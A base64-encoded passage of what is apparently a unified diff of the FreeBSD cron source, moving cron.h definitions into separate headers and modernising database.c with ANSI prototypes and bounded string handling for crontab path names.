ZWZpbmUJRFRFU1QJCTB4MDA0MAkvKiB0ZXN0IG1vZGU6IGRvbid0IGV4ZWN1dGUgYW55IGNvbW1h bmRzICovCi0jZGVmaW5lCURCSVQJCTB4MDA4MAkvKiBiaXQgdHdpZGRsaW5nIHNob3duIChsb25n KSAqLwotCi0jZGVmaW5lCUNST05fVEFCKHUpCSIlcy8lcyIsIFNQT09MX0RJUiwgdQotI2RlZmlu ZQlSRUcJCXJlZ2lzdGVyCi0jZGVmaW5lCVBQQ19OVUxMCSgoY2hhciAqKilOVUxMKQotCi0jaWZu ZGVmIE1BWEhPU1ROQU1FTEVOCi0jZGVmaW5lIE1BWEhPU1ROQU1FTEVOIDI1NgotI2VuZGlmCi0K LSNkZWZpbmUJU2tpcF9CbGFua3MoYywgZikgXAotCQkJd2hpbGUgKGMgPT0gJ1x0JyB8fCBjID09 ICcgJykgXAotCQkJCWMgPSBnZXRfY2hhcihmKTsKLQotI2RlZmluZQlTa2lwX05vbmJsYW5rcyhj LCBmKSBcCi0JCQl3aGlsZSAoYyE9J1x0JyAmJiBjIT0nICcgJiYgYyE9J1xuJyAmJiBjICE9IEVP RikgXAotCQkJCWMgPSBnZXRfY2hhcihmKTsKLQotI2RlZmluZQlTa2lwX0xpbmUoYywgZikgXAot CQkJZG8ge2MgPSBnZXRfY2hhcihmKTt9IHdoaWxlIChjICE9ICdcbicgJiYgYyAhPSBFT0YpOwot Ci0jaWYgREVCVUdHSU5HCi0jIGRlZmluZSBEZWJ1ZyhtYXNrLCBtZXNzYWdlKSBcCi0JCQlpZiAo IChEZWJ1Z0ZsYWdzICYgKG1hc2spICkgPT0gKG1hc2spICkgXAotCQkJCXByaW50ZiBtZXNzYWdl OwotI2Vsc2UgLyogIURFQlVHR0lORyAqLwotIyBkZWZpbmUgRGVidWcobWFzaywgbWVzc2FnZSkg XAotCQkJOwotI2VuZGlmIC8qIERFQlVHR0lORyAqLwotCi0jZGVmaW5lCU1rTG93ZXIoY2gpCShp c3VwcGVyKGNoKSA/IHRvbG93ZXIoY2gpIDogY2gpCi0jZGVmaW5lCU1rVXBwZXIoY2gpCShpc2xv d2VyKGNoKSA/IHRvdXBwZXIoY2gpIDogY2gpCi0jZGVmaW5lCVNldF9MaW5lTnVtKGxuKQl7RGVi dWcoRFBBUlN8REVYVCwoImxpbmVudW09JWRcbiIsbG4pKTsgXAotCQkJIExpbmVOdW1iZXIgPSBs bjsgXAotCQkJfQotCi0jZGVmaW5lCUZJUlNUX1NFQ09ORAkwCi0jZGVmaW5lCUxBU1RfU0VDT05E CTU5Ci0jZGVmaW5lCVNFQ09ORF9DT1VOVAkoTEFTVF9TRUNPTkQgLSBGSVJTVF9TRUNPTkQgKyAx KQotCi0jZGVmaW5lCUZJUlNUX01JTlVURQkwCi0jZGVmaW5lCUxBU1RfTUlOVVRFCTU5Ci0jZGVm aW5lCU1JTlVURV9DT1VOVAkoTEFTVF9NSU5VVEUgLSBGSVJTVF9NSU5VVEUgKyAxKQotCi0jZGVm aW5lCUZJUlNUX0hPVVIJMAotI2RlZmluZQlMQVNUX0hPVVIJMjMKLSNkZWZpbmUJSE9VUl9DT1VO VAkoTEFTVF9IT1VSIC0gRklSU1RfSE9VUiArIDEpCi0KLSNkZWZpbmUJRklSU1RfRE9NCTEKLSNk ZWZpbmUJTEFTVF9ET00JMzEKLSNkZWZpbmUJRE9NX0NPVU5UCShMQVNUX0RPTSAtIEZJUlNUX0RP TSArIDEpCi0KLSNkZWZpbmUJRklSU1RfTU9OVEgJMQotI2RlZmluZQlMQVNUX01PTlRICTEyCi0j ZGVmaW5lCU1PTlRIX0NPVU5UCShMQVNUX01PTlRIIC0gRklSU1RfTU9OVEggKyAxKQotCi0vKiBu b3RlIG9uIERPVzogMCBhbmQgNyBhcmUgYm90aCBTdW5kYXksIGZvciBjb21wYXRpYmlsaXR5IHJl YXNvbnMuICovCi0jZGVmaW5lCUZJUlNUX0RPVwkwCi0jZGVmaW5lCUxBU1RfRE9XCTcKLSNkZWZp bmUJRE9XX0NPVU5UCShMQVNUX0RPVyAtIEZJUlNUX0RPVyArIDEpCi0KLSNpZmRlZiBMT0dJTl9D QVAKLS8qIHNlZSBpbml0LmMgKi8KLSNkZWZpbmUgUkVTT1VSQ0VfUkMgImRhZW1vbiIKLSNlbmRp ZgotCi0JCQkvKiBlYWNoIHVzZXIncyBjcm9udGFiIHdpbGwgYmUgaGVsZCBhcyBhIGxpc3Qgb2YK LQkJCSAqIHRoZSBmb2xsb3dpbmcgc3RydWN0dXJlLgotCQkJICoKLQkJCSAqIFRoZXNlIGFyZSB0 aGUgY3JvbiBjb21tYW5kcy4KLQkJCSAqLwotCi10eXBlZGVmCXN0cnVjdCBfZW50cnkgewotCXN0 cnVjdCBfZW50cnkJKm5leHQ7Ci0JdWlkX3QJCXVpZDsKLQlnaWRfdAkJZ2lkOwotI2lmZGVmIExP R0lOX0NBUAotCWNoYXIgICAgICAgICAgICAqY2xhc3M7Ci0jZW5kaWYKLQljaGFyCQkqKmVudnA7 Ci0JY2hhcgkJKmNtZDsKLQliaXRzdHJfdAliaXRfZGVjbChzZWNvbmQsIFNFQ09ORF9DT1VOVCk7 Ci0JYml0c3RyX3QJYml0X2RlY2wobWludXRlLCBNSU5VVEVfQ09VTlQpOwotCWJpdHN0cl90CWJp dF9kZWNsKGhvdXIsICAgSE9VUl9DT1VOVCk7Ci0JYml0c3RyX3QJYml0X2RlY2woZG9tLCAgICBE T01fQ09VTlQpOwotCWJpdHN0cl90CWJpdF9kZWNsKG1vbnRoLCAgTU9OVEhfQ09VTlQpOwotCWJp dHN0cl90CWJpdF9kZWNsKGRvdywgICAgRE9XX0NPVU5UKTsKLQlpbnQJCWZsYWdzOwotI2RlZmlu ZQlET01fU1RBUgkweDAxCi0jZGVmaW5lCURPV19TVEFSCTB4MDIKLSNkZWZpbmUJV0hFTl9SRUJP T1QJMHgwNAotI2RlZmluZQlSVU5fQVQJMHgwOAotI2RlZmluZQlOT1RfVU5USUwJMHgxMAotI2Rl ZmluZQlTRUNfUkVTCQkweDIwCi0JdGltZV90CWxhc3RydW47Ci19IGVudHJ5OwotCi0JCQkvKiB0 aGUgY3JvbnRhYiBkYXRhYmFzZSB3aWxsIGJlIGEgbGlzdCBvZiB0aGUKLQkJCSAqIGZvbGxvd2lu ZyBzdHJ1Y3R1cmUsIG9uZSBlbGVtZW50IHBlciB1c2VyCi0JCQkgKiBwbHVzIG9uZSBmb3IgdGhl IHN5c3RlbS4KLQkJCSAqCi0JCQkgKiBUaGVzZSBhcmUgdGhlIGNyb250YWJzLgotCQkJICovCi0K LXR5cGVkZWYJc3RydWN0IF91c2VyIHsKLQlzdHJ1Y3QgX3VzZXIJKm5leHQsICpwcmV2OwkvKiBs aW5rcyAqLwotCWNoYXIJCSpuYW1lOwotCXRpbWVfdAkJbXRpbWU7CQkvKiBsYXN0IG1vZHRpbWUg b2YgY3JvbnRhYiAqLwotCWVudHJ5CQkqY3JvbnRhYjsJLyogdGhpcyBwZXJzb24ncyBjcm9udGFi ICovCi19IHVzZXI7Ci0KLXR5cGVkZWYJc3RydWN0IF9jcm9uX2RiIHsKLQl1c2VyCQkqaGVhZCwg KnRhaWw7CS8qIGxpbmtzICovCi0JdGltZV90CQltdGltZTsJCS8qIGxhc3QgbW9kdGltZSBvbiBz cG9vbGRpciAqLwotfSBjcm9uX2RiOwotCi0KLXZvaWQJCXNldF9jcm9uX3VpZCh2b2lkKSwKLQkJ c2V0X2Nyb25fY3dkKHZvaWQpLAotCQlsb2FkX2RhdGFiYXNlKGNyb25fZGIgKiksCi0JCW9wZW5f bG9nZmlsZSh2b2lkKSwKLQkJc2lncGlwZV9mdW5jKHZvaWQpLAotCQlqb2JfYWRkKGVudHJ5ICos IHVzZXIgKiksCi0JCWRvX2NvbW1hbmQoZW50cnkgKiwgdXNlciAqKSwKLQkJbGlua191c2VyKGNy b25fZGIgKiwgdXNlciAqKSwKLQkJdW5saW5rX3VzZXIoY3Jvbl9kYiAqLCB1c2VyICopLAotCQlm cmVlX3VzZXIodXNlciAqKSwKLQkJZW52X2ZyZWUoY2hhciAqKiksCi0JCXVuZ2V0X2NoYXIoaW50 LCBGSUxFICopLAotCQlmcmVlX2VudHJ5KGVudHJ5ICopLAotCQlza2lwX2NvbW1lbnRzKEZJTEUg KiksCi0JCWxvZ19pdChjaGFyICosIGludCwgY2hhciAqLCBjaGFyICopLAotCQlsb2dfY2xvc2Uo dm9pZCk7Ci0KLWludAkJam9iX3J1bnF1ZXVlKHZvaWQpLAotCQlzZXRfZGVidWdfZmxhZ3MoY2hh ciAqKSwKLQkJZ2V0X2NoYXIoRklMRSAqKSwKLQkJZ2V0X3N0cmluZyhjaGFyICosIGludCwgRklM RSAqLCBjaGFyICopLAotCQlzd2FwX3VpZHModm9pZCksCi0JCXN3YXBfdWlkc19iYWNrKHZvaWQp LAotCQlsb2FkX2VudihjaGFyICosIEZJTEUgKiksCi0JCWNyb25fcGNsb3NlKEZJTEUgKiksCi0J CXN0cmNtcF91bnRpbChjaGFyICosIGNoYXIgKiwgaW50KSwKLQkJYWxsb3dlZChjaGFyICopLAot CQlzdHJkdGIoY2hhciAqKTsKLQotY2hhcgkJKmVudl9nZXQoY2hhciAqLCBjaGFyICoqKSwKLQkJ KmFycGFkYXRlKHRpbWVfdCAqKSwKLQkJKm1rcHJpbnRzKHVuc2lnbmVkIGNoYXIgKiwgdW5zaWdu ZWQgaW50KSwKLQkJKmZpcnN0X3dvcmQoY2hhciAqLCBjaGFyICopLAotCQkqKmVudl9pbml0KHZv aWQpLAotCQkqKmVudl9jb3B5KGNoYXIgKiopLAotCQkqKmVudl9zZXQoY2hhciAqKiwgY2hhciAq KTsKLQotdXNlcgkJKmxvYWRfdXNlcihpbnQsIHN0cnVjdCBwYXNzd2QgKiwgY2hhciAqKSwKLQkJ KmZpbmRfdXNlcihjcm9uX2RiICosIGNoYXIgKik7Ci0KLWVudHJ5CQkqbG9hZF9lbnRyeShGSUxF ICosIHZvaWQgKCopKGNoYXIgKiksCi0JCQkJIHN0cnVjdCBwYXNzd2QgKiwgY2hhciAqKik7Ci0K LUZJTEUJCSpjcm9uX3BvcGVuKGNoYXIgKiwgY2hhciAqLCBlbnRyeSAqKTsKLQotCi0JCQkJLyog aW4gdGhlIEMgdHJhZGl0aW9uLCB3ZSBvbmx5IGNyZWF0ZQotCQkJCSAqIHZhcmlhYmxlcyBmb3Ig dGhlIG1haW4gcHJvZ3JhbSwganVzdAotCQkJCSAqIGV4dGVybiB0aGVtIGVsc2V3aGVyZS4KLQkJ CQkgKi8KLQotI2lmZGVmIE1BSU5fUFJPR1JBTQotIyBpZiAhZGVmaW5lZChMSU5UKSAmJiAhZGVm aW5lZChsaW50KQotY2hhcgkqY29weXJpZ2h0W10gPSB7Ci0JCSJAKCMpIENvcHlyaWdodCAxOTg4 LDE5ODksMTk5MCwxOTkzLDE5OTQgYnkgUGF1bCBWaXhpZSIsCi0JCSJAKCMpIEFsbCByaWdodHMg cmVzZXJ2ZWQiCi0JfTsKLSMgZW5kaWYKLQotY2hhcgkqTW9udGhOYW1lc1tdID0gewotCQkiSmFu IiwgIkZlYiIsICJNYXIiLCAiQXByIiwgIk1heSIsICJKdW4iLAotCQkiSnVsIiwgIkF1ZyIsICJT ZXAiLCAiT2N0IiwgIk5vdiIsICJEZWMiLAotCQlOVUxMCi0JfTsKLQotY2hhcgkqRG93TmFtZXNb XSA9IHsKLQkJIlN1biIsICJNb24iLCAiVHVlIiwgIldlZCIsICJUaHUiLCAiRnJpIiwgIlNhdCIs ICJTdW4iLAotCQlOVUxMCi0JfTsKLQotY2hhcgkqUHJvZ3JhbU5hbWUsCi0JKmRlZm1haWx0bzsK LWludAlMaW5lTnVtYmVyOwotdW5zaWduZWQgSml0dGVyLAotCVJvb3RKaXR0ZXI7Ci10aW1lX3QJ VGFyZ2V0VGltZTsKLQotIyBpZiBERUJVR0dJTkcKLWludAlEZWJ1Z0ZsYWdzOwotY2hhcgkqRGVi dWdGbGFnTmFtZXNbXSA9IHsJLyogc3luYyB3aXRoICNkZWZpbmVzICovCi0JCSJleHQiLCAic2No IiwgInByb2MiLCAicGFycyIsICJsb2FkIiwgIm1pc2MiLCAidGVzdCIsICJiaXQiLAotCQlOVUxM CQkvKiBOVUxMIG11c3QgYmUgbGFzdCBlbGVtZW50ICovCi0JfTsKLSMgZW5kaWYgLyogREVCVUdH SU5HICovCi0jZWxzZSAvKk1BSU5fUFJPR1JBTSovCi1leHRlcm4JY2hhcgkqY29weXJpZ2h0W10s Ci0JCSpNb250aE5hbWVzW10sCi0JCSpEb3dOYW1lc1tdLAotCQkqUHJvZ3JhbU5hbWUsCi0JCSpk ZWZtYWlsdG87Ci1leHRlcm4JaW50CUxpbmVOdW1iZXI7Ci1leHRlcm4gdW5zaWduZWQJSml0dGVy LAotCQlSb290Sml0dGVyOwotZXh0ZXJuCXRpbWVfdAlUYXJnZXRUaW1lOwotZXh0ZXJuIHN0cnVj dCBwaWRmaCAqcGZoOwotIyBpZiBERUJVR0dJTkcKLWV4dGVybglpbnQJRGVidWdGbGFnczsKLWV4 dGVybgljaGFyCSpEZWJ1Z0ZsYWdOYW1lc1tdOwotIyBlbmRpZiAvKiBERUJVR0dJTkcgKi8KLSNl bmRpZiAvKk1BSU5fUFJPR1JBTSovCisjaW5jbHVkZSAicGF0aG5hbWVzLmgiCisjaW5jbHVkZSAi bWFjcm9zLmgiCisjaW5jbHVkZSAic3RydWN0cy5oIgorI2luY2x1ZGUgImZ1bmNzLmgiCisjaW5j bHVkZSAiZ2xvYmFscy5oIgpkaWZmIC1ydU4gL3Vzci9zcmMvdXNyLnNiaW4vY3Jvbi9jcm9uL2Rh dGFiYXNlLmMgZnJlZWJzZF9jcm9uL2Nyb24vZGF0YWJhc2UuYwotLS0gL3Vzci9zcmMvdXNyLnNi aW4vY3Jvbi9jcm9uL2RhdGFiYXNlLmMJMjAxNC0wMS0xNiAyMTo0Mzo0OS4wMDAwMDAwMDAgKzAx MDAKKysrIGZyZWVic2RfY3Jvbi9jcm9uL2RhdGFiYXNlLmMJMjAxNC0wNi0xMSAxNjo0Mjo1NS4y NzI0NDQyNzYgKzAyMDAKQEAgLTEsNTUgKzEsNDggQEAKIC8qIENvcHlyaWdodCAxOTg4LDE5OTAs MTk5MywxOTk0IGJ5IFBhdWwgVml4aWUKICAqIEFsbCByaWdodHMgcmVzZXJ2ZWQKKyAqLworCisv KgorICogQ29weXJpZ2h0IChjKSAyMDA0IGJ5IEludGVybmV0IFN5c3RlbXMgQ29uc29ydGl1bSwg SW5jLiAoIklTQyIpCisgKiBDb3B5cmlnaHQgKGMpIDE5OTcsMjAwMCBieSBJbnRlcm5ldCBTb2Z0 d2FyZSBDb25zb3J0aXVtLCBJbmMuCiAgKgotICogRGlzdHJpYnV0ZSBmcmVlbHksIGV4Y2VwdDog ZG9uJ3QgcmVtb3ZlIG15IG5hbWUgZnJvbSB0aGUgc291cmNlIG9yCi0gKiBkb2N1bWVudGF0aW9u IChkb24ndCB0YWtlIGNyZWRpdCBmb3IgbXkgd29yayksIG1hcmsgeW91ciBjaGFuZ2VzIChkb24n dAotICogZ2V0IG1lIGJsYW1lZCBmb3IgeW91ciBwb3NzaWJsZSBidWdzKSwgZG9uJ3QgYWx0ZXIg b3IgcmVtb3ZlIHRoaXMKLSAqIG5vdGljZS4gIE1heSBiZSBzb2xkIGlmIGJ1aWxkYWJsZSBzb3Vy Y2UgaXMgcHJvdmlkZWQgdG8gYnV5ZXIuICBObwotICogd2FycmFudGVlIG9mIGFueSBraW5kLCBl eHByZXNzIG9yIGltcGxpZWQsIGlzIGluY2x1ZGVkIHdpdGggdGhpcwotICogc29mdHdhcmU7IHVz ZSBhdCB5b3VyIG93biByaXNrLCByZXNwb25zaWJpbGl0eSBmb3IgZGFtYWdlcyAoaWYgYW55KSB0 bwotICogYW55b25lIHJlc3VsdGluZyBmcm9tIHRoZSB1c2Ugb2YgdGhpcyBzb2Z0d2FyZSByZXN0 cyBlbnRpcmVseSB3aXRoIHRoZQotICogdXNlci4KKyAqIFBlcm1pc3Npb24gdG8gdXNlLCBjb3B5 LCBtb2RpZnksIGFuZCBkaXN0cmlidXRlIHRoaXMgc29mdHdhcmUgZm9yIGFueQorICogcHVycG9z ZSB3aXRoIG9yIHdpdGhvdXQgZmVlIGlzIGhlcmVieSBncmFudGVkLCBwcm92aWRlZCB0aGF0IHRo ZSBhYm92ZQorICogY29weXJpZ2h0IG5vdGljZSBhbmQgdGhpcyBwZXJtaXNzaW9uIG5vdGljZSBh cHBlYXIgaW4gYWxsIGNvcGllcy4KICAqCi0gKiBTZW5kIGJ1ZyByZXBvcnRzLCBidWcgZml4ZXMs IGVuaGFuY2VtZW50cywgcmVxdWVzdHMsIGZsYW1lcywgZXRjLiwgYW5kCi0gKiBJJ2xsIHRyeSB0 byBrZWVwIGEgdmVyc2lvbiB1cCB0byBkYXRlLiAgSSBjYW4gYmUgcmVhY2hlZCBhcyBmb2xsb3dz OgotICogUGF1bCBWaXhpZSAgICAgICAgICA8cGF1bEB2aXguY29tPiAgICAgICAgICB1dW5ldCFk ZWN3cmwhdml4aWUhcGF1bAorICogVEhFIFNPRlRXQVJFIElTIFBST1ZJREVEICJBUyBJUyIgQU5E IElTQyBESVNDTEFJTVMgQUxMIFdBUlJBTlRJRVMKKyAqIFdJVEggUkVHQVJEIFRPIFRISVMgU09G VFdBUkUgSU5DTFVESU5HIEFMTCBJTVBMSUVEIFdBUlJBTlRJRVMgT0YKKyAqIE1FUkNIQU5UQUJJ TElUWSBBTkQgRklUTkVTUy4gIElOIE5PIEVWRU5UIFNIQUxMIElTQyBCRSBMSUFCTEUgRk9SCisg KiBBTlkgU1BFQ0lBTCwgRElSRUNULCBJTkRJUkVDVCwgT1IgQ09OU0VRVUVOVElBTCBEQU1BR0VT IE9SIEFOWSBEQU1BR0VTCisgKiBXSEFUU09FVkVSIFJFU1VMVElORyBGUk9NIExPU1MgT0YgVVNF LCBEQVRBIE9SIFBST0ZJVFMsIFdIRVRIRVIgSU4gQU4KKyAqIEFDVElPTiBPRiBDT05UUkFDVCwg TkVHTElHRU5DRSBPUiBPVEhFUiBUT1JUSU9VUyBBQ1RJT04sIEFSSVNJTkcgT1VUCisgKiBPRiBP UiBJTiBDT05ORUNUSU9OIFdJVEggVEhFIFVTRSBPUiBQRVJGT1JNQU5DRSBPRiBUSElTIFNPRlRX QVJFLgogICovCiAKLSNpZiAhZGVmaW5lZChsaW50KSAmJiAhZGVmaW5lZChMSU5UKQotc3RhdGlj IGNvbnN0IGNoYXIgcmNzaWRbXSA9Ci0gICIkRnJlZUJTRDogcmVsZWFzZS8xMC4wLjAvdXNyLnNi aW4vY3Jvbi9jcm9uL2RhdGFiYXNlLmMgMTczNDEyIDIwMDctMTEtMDcgMTA6NTM6NDFaIGtldmxv ICQiOwotI2VuZGlmCisvLyNpZiAhZGVmaW5lZChsaW50KSAmJiAhZGVmaW5lZChMSU5UKQorLy9z dGF0aWMgY2hhciByY3NpZFtdID0gIiRJZDogZGF0YWJhc2UuYyx2IDEuNyAyMDA0LzAxLzIzIDE4 OjU2OjQyIHZpeGllIEV4cCAkIjsKKy8vI2VuZGlmCiAKIC8qIHZpeCAyNmphbjg3IFtSQ1MgaGFz IHRoZSBsb2ddCiAgKi8KIAotCiAjaW5jbHVkZSAiY3Jvbi5oIgotI2luY2x1ZGUgPGZjbnRsLmg+ Ci0jaW5jbHVkZSA8c3lzL3N0YXQuaD4KLSNpbmNsdWRlIDxzeXMvZmlsZS5oPgotCiAKICNkZWZp bmUgVE1BWChhLGIpICgoYSk+KGIpPyhhKTooYikpCiAKLQotc3RhdGljCXZvaWQJCXByb2Nlc3Nf Y3JvbnRhYihjaGFyICosIGNoYXIgKiwgY2hhciAqLAotCQkJCQkgICAgIHN0cnVjdCBzdGF0ICos Ci0JCQkJCSAgICAgY3Jvbl9kYiAqLCBjcm9uX2RiICopOwotCitzdGF0aWMJdm9pZAkJcHJvY2Vz c19jcm9udGFiKGNvbnN0IGNoYXIgKiwgY29uc3QgY2hhciAqLAorCQkJCQljb25zdCBjaGFyICos IHN0cnVjdCBzdGF0ICosCisJCQkJCWNyb25fZGIgKiwgY3Jvbl9kYiAqKTsKIAogdm9pZAotbG9h ZF9kYXRhYmFzZShvbGRfZGIpCi0JY3Jvbl9kYgkJKm9sZF9kYjsKLXsKLQlESVIJCSpkaXI7Ci0J c3RydWN0IHN0YXQJc3RhdGJ1ZjsKLQlzdHJ1Y3Qgc3RhdAlzeXNjcm9uX3N0YXQ7Ci0JRElSX1Qg ICAJKmRwOwotCWNyb25fZGIJCW5ld19kYjsKLQl1c2VyCQkqdSwgKm51OworbG9hZF9kYXRhYmFz ZShjcm9uX2RiICpvbGRfZGIpIHsKKwlzdHJ1Y3Qgc3RhdCBzdGF0YnVmLCBzeXNjcm9uX3N0YXQ7 CisJY3Jvbl9kYiBuZXdfZGI7CisJRElSX1QgKmRwOworCURJUiAqZGlyOworCXVzZXIgKnUsICpu dTsKIAotCURlYnVnKERMT0FELCAoIlslZF0gbG9hZF9kYXRhYmFzZSgpXG4iLCBnZXRwaWQoKSkp CisJRGVidWcoRExPQUQsICgiWyVsZF0gbG9hZF9kYXRhYmFzZSgpXG4iLCAobG9uZylnZXRwaWQo KSkpCiAKIAkvKiBiZWZvcmUgd2Ugc3RhcnQgbG9hZGluZyBhbnkgZGF0YSwgZG8gYSBzdGF0IG9u IFNQT09MX0RJUgogCSAqIHNvIHRoYXQgaWYgYW55dGhpbmcgY2hhbmdlcyBhcyBvZiB0aGlzIG1v bWVudCAoaS5lLiwgYmVmb3JlIHdlJ3ZlCkBAIC03Myw4ICs2Niw4IEBACiAJICogdGltZSB0aGlz IGZ1bmN0aW9uIGlzIGNhbGxlZC4KIAkgKi8KIAlpZiAob2xkX2RiLT5tdGltZSA9PSBUTUFYKHN0 YXRidWYuc3RfbXRpbWUsIHN5c2Nyb25fc3RhdC5zdF9tdGltZSkpIHsKLQkJRGVidWcoRExPQUQs ICgiWyVkXSBzcG9vbCBkaXIgbXRpbWUgdW5jaCwgbm8gbG9hZCBuZWVkZWQuXG4iLAotCQkJICAg ICAgZ2V0cGlkKCkpKQorCQlEZWJ1ZyhETE9BRCwgKCJbJWxkXSBzcG9vbCBkaXIgbXRpbWUgdW5j aCwgbm8gbG9hZCBuZWVkZWQuXG4iLAorCQkJICAgICAgKGxvbmcpZ2V0cGlkKCkpKQogCQlyZXR1 cm47CiAJfQogCkBAIC04NiwxMSArNzksOSBAQAogCW5ld19kYi5tdGltZSA9IFRNQVgoc3RhdGJ1 Zi5zdF9tdGltZSwgc3lzY3Jvbl9zdGF0LnN0X210aW1lKTsKIAluZXdfZGIuaGVhZCA9IG5ld19k Yi50YWlsID0gTlVMTDsKIAotCWlmIChzeXNjcm9uX3N0YXQuc3RfbXRpbWUpIHsKLQkJcHJvY2Vz c19jcm9udGFiKCJyb290IiwgU1lTX05BTUUsCi0JCQkJU1lTQ1JPTlRBQiwgJnN5c2Nyb25fc3Rh dCwKKwlpZiAoc3lzY3Jvbl9zdGF0LnN0X210aW1lKQorCQlwcm9jZXNzX2Nyb250YWIoInJvb3Qi LCBOVUxMLCBTWVNDUk9OVEFCLCAmc3lzY3Jvbl9zdGF0LAogCQkJCSZuZXdfZGIsIG9sZF9kYik7 Ci0JfQogCiAJLyogd2UgdXNlZCB0byBrZWVwIHRoaXMgZGlyIG9wZW4gYWxsIHRoZSB0aW1lLCBm b3IgdGhlIHNha2Ugb2YKIAkgKiBlZmZpY2llbmN5LiAgaG93ZXZlciwgd2UgbmVlZCB0byBjbG9z ZSBpdCBpbiBldmVyeSBmb3JrLCBhbmQKQEAgLTEwMiw4ICs5Myw3IEBACiAJfQogCiAJd2hpbGUg KE5VTEwgIT0gKGRwID0gcmVhZGRpcihkaXIpKSkgewotCQljaGFyCWZuYW1lW01BWE5BTUxFTisx XSwKLQkJCXRhYm5hbWVbTUFYTkFNTEVOKzFdOworCQljaGFyIGZuYW1lW01BWE5BTUxFTisxXSwg dGFibmFtZVtNQVhOQU1MRU4rMV07CiAKIAkJLyogYXZvaWQgZmlsZSBuYW1lcyBiZWdpbm5pbmcg d2l0aCAiLiIuICB0aGlzIGlzIGdvb2QKIAkJICogYmVjYXVzZSB3ZSB3b3VsZCBvdGhlcndpc2Ug d2FzdGUgdHdvIGd1YXJhbnRlZWQgY2FsbHMKQEAgLTExMyw5ICsxMDMsMTMgQEAKIAkJaWYgKGRw LT5kX25hbWVbMF0gPT0gJy4nKQogCQkJY29udGludWU7CiAKLQkJKHZvaWQpIHN0cm5jcHkoZm5h bWUsIGRwLT5kX25hbWUsIHNpemVvZihmbmFtZSkpOwotCQlmbmFtZVtzaXplb2YoZm5hbWUpLTFd ID0gJ1wwJzsKLQkJKHZvaWQpIHNucHJpbnRmKHRhYm5hbWUsIHNpemVvZiB0YWJuYW1lLCBDUk9O X1RBQihmbmFtZSkpOworCQlpZiAoc3RybGVuKGRwLT5kX25hbWUpID49IHNpemVvZiBmbmFtZSkK KwkJCWNvbnRpbnVlOwkvKiBYWFggbG9nPyAqLworCQkodm9pZCkgc3RybGNweShmbmFtZSwgZHAt PmRfbmFtZSwgc2l6ZW9mKGZuYW1lKSk7CisJCQorCQlpZiAoIWdsdWVfc3RyaW5ncyh0YWJuYW1l LCBzaXplb2YgdGFibmFtZSwgU1BPT0xfRElSLAorCQkJCSAgZm5hbWUsICcvJykpCisJCQljb250 aW51ZTsJLyogWFhYIGxvZz8gKi8KIAogCQlwcm9jZXNzX2Nyb250YWIoZm5hbWUsIGZuYW1lLCB0 YWJuYW1lLAogCQkJCSZzdGF0YnVmLCAmbmV3X2RiLCBvbGRfZGIpOwpAQCAtMTQ0LDEyICsxMzgs OCBAQAogCURlYnVnKERMT0FELCAoImxvYWRfZGF0YWJhc2UgaXMgZG9uZVxuIikpCiB9CiAKLQog dm9pZAotbGlua191c2VyKGRiLCB1KQotCWNyb25fZGIJKmRiOwotCXVzZXIJKnU7Ci17CitsaW5r X3VzZXIoY3Jvbl9kYiAqZGIsIHVzZXIgKnUpIHsKIAlpZiAoZGItPmhlYWQgPT0gTlVMTCkKIAkJ ZGItPmhlYWQgPSB1OwogCWlmIChkYi0+dGFpbCkKQEAgLTE1OSwxMiArMTQ5LDggQEAKIAlkYi0+ dGFpbCA9IHU7CiB9CiAKLQogdm9pZAotdW5saW5rX3VzZXIoZGIsIHUpCi0JY3Jvbl9kYgkqZGI7 Ci0JdXNlcgkqdTsKLXsKK3VubGlua191c2VyKGNyb25fZGIgKmRiLCB1c2VyICp1KSB7CiAJaWYg KHUtPnByZXYgPT0gTlVMTCkKIAkJZGItPmhlYWQgPSB1LT5uZXh0OwogCWVsc2UKQEAgLTE3Niw0 MyArMTYyLDM2IEBACiAJCXUtPm5leHQtPnByZXYgPSB1LT5wcmV2OwogfQogCi0KIHVzZXIgKgot ZmluZF91c2VyKGRiLCBuYW1lKQotCWNyb25fZGIJKmRiOwotCWNoYXIJKm5hbWU7Ci17Ci0JY2hh cgkqZW52X2dldCgpOwotCXVzZXIJKnU7CitmaW5kX3VzZXIoY3Jvbl9kYiAqZGIsIGNvbnN0IGNo YXIgKm5hbWUpIHsKKwl1c2VyICp1OwogCiAJZm9yICh1ID0gZGItPmhlYWQ7ICB1ICE9IE5VTEw7 ICB1ID0gdS0+bmV4dCkKLQkJaWYgKCFzdHJjbXAodS0+bmFtZSwgbmFtZSkpCisJCWlmIChzdHJj bXAodS0+bmFtZSwgbmFtZSkgPT0gMCkKIAkJCWJyZWFrOwotCXJldHVybiB1OworCXJldHVybiAo dSk7CiB9CiAKLQogc3RhdGljIHZvaWQKLXByb2Nlc3NfY3JvbnRhYih1bmFtZSwgZm5hbWUsIHRh Ym5hbWUsIHN0YXRidWYsIG5ld19kYiwgb2xkX2RiKQotCWNoYXIJCSp1bmFtZTsKLQljaGFyCQkq Zm5hbWU7Ci0JY2hhcgkJKnRhYm5hbWU7Ci0Jc3RydWN0IHN0YXQJKnN0YXRidWY7Ci0JY3Jvbl9k YgkJKm5ld19kYjsKLQljcm9uX2RiCQkqb2xkX2RiOworcHJvY2Vzc19jcm9udGFiKGNvbnN0IGNo YXIgKnVuYW1lLCBjb25zdCBjaGFyICpmbmFtZSwgY29uc3QgY2hhciAqdGFibmFtZSwKKwkJc3Ry dWN0IHN0YXQgKnN0YXRidWYsIGNyb25fZGIgKm5ld19kYiwgY3Jvbl9kYiAqb2xkX2RiKQogewot CXN0cnVjdCBwYXNzd2QJKnB3ID0gTlVMTDsKLQlpbnQJCWNyb250YWJfZmQgPSBPSyAtIDE7Ci0J dXNlcgkJKnU7CisJc3RydWN0IHBhc3N3ZCAqcHcgPSBOVUxMOworCWludCBjcm9udGFiX2ZkID0g T0sgLSAxOworCXVzZXIgKnU7CiAKLQlpZiAoc3RyY21wKGZuYW1lLCBTWVNfTkFNRSkgJiYgIShw dyA9IGdldHB3bmFtKHVuYW1lKSkpIHsKKwlpZiAoZm5hbWUgPT0gTlVMTCkgeworCQkvKiBtdXN0 IGJlIHNldCB0byBzb21ldGhpbmcgZm9yIGxvZ2dpbmcgcHVycG9zZXMuCisJCSAqLworCQlmbmFt ZSA9ICIqc3lzdGVtKiI7CisJfSBlbHNlIGlmICgocHcgPSBnZXRwd25hbSh1bmFtZSkpID09IE5V TEwpIHsKIAkJLyogZmlsZSBkb2Vzbid0IGhhdmUgYSB1c2VyIGluIHBhc3N3ZCBmaWxlLgogCQkg 